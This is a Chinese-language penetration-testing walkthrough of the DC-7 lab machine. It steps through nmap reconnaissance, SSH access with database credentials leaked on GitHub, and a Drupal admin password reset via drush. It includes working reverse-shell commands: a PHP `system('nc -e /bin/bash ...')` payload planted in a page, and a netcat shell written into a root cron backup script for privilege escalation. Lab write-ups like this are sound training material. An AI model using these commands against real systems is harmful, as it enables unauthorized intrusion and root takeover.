渗透测试学习之靶机DC-7
过程
1. 探测目标主机
nmap -sP 192.168.246.0/24
,得到目标主机IP:192.168.246.144
2. 信息搜集
-
端口信息
nmap -sV -p 1-65535 192.168.246.144
-
web站点相关服务信息
开放了80http端口,访问一下:
-
github信息
根据首页的提示,不用去尝试暴力**后台了,outside the box…
看到左下角的Powered by Drupal下面还有个@DC7USER
,DC-1也是这个CMS但是没有这个,拿着DC7USER
去百度一下,大多数这个题的writeup,去必应,看到github,DC-7的源码???
在config.php中看到数据库账号密码:
没有3306,没办法远程登录数据库…
3. ssh登录
在登陆页面(右上角的log in)和ssh尝试使用数据库的账号密码登录,只能连上ssh:
可以看到登上去就提示有邮件mail。
在当前目录下,看到mbox文件和backups目录,backups里website.sql.gpg 和website.tar.gz.gpg两个gpg文件,gpg是用来加密文件的:
查看mbox文件后,发现每个邮件都有backups.sh,查看一下
得出结论:每隔一段时间就执行这个文件,实现对数据库和站点代码进行备份加密,并删掉了原来的,只留下加密后的。
sh文件中使用了drush,可以使用其来更改用户密码(注意:需要进入/var/www/html
目录下才可执行):drush user-password admin --password="admin"
修改admin的密码为admin
4. 后台登录
使用修改后的密码登录admin,然后在Manage下的Content,编辑首页在源文件增加php脚本,进行反弹shell,但是没有php这个选项…
参考文章
php模块链接:https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
找到Manage下的Extend,点击Install new module:
点击Enable newly added modules,在里面找到PHP Filter,勾上:
然后拉到最下面Install:
5. 反弹shell
Manage -> Content -> edit:<?php system('nc -e /bin/bash 192.168.246.138 8888')?>
保存后,138kali监听8888端口,然后访问其首页:
python返回交互式shell:python -c 'import pty;pty.spawn("/bin/bash")'
6. 提权
前面提到backups.sh会每隔一段时间执行一次进行备份,需要root权限才能进行的操作,可以在backups.sh中写入shell,反弹回来即为root权限:echo "nc 192.168.246.138 6666 -e /bin/bash" > /opt/scripts/backups.sh
在kali上监听6666端口,等了一会之后就收到了:
返回交互式shell:
总结
- 信息搜集
- 参考文章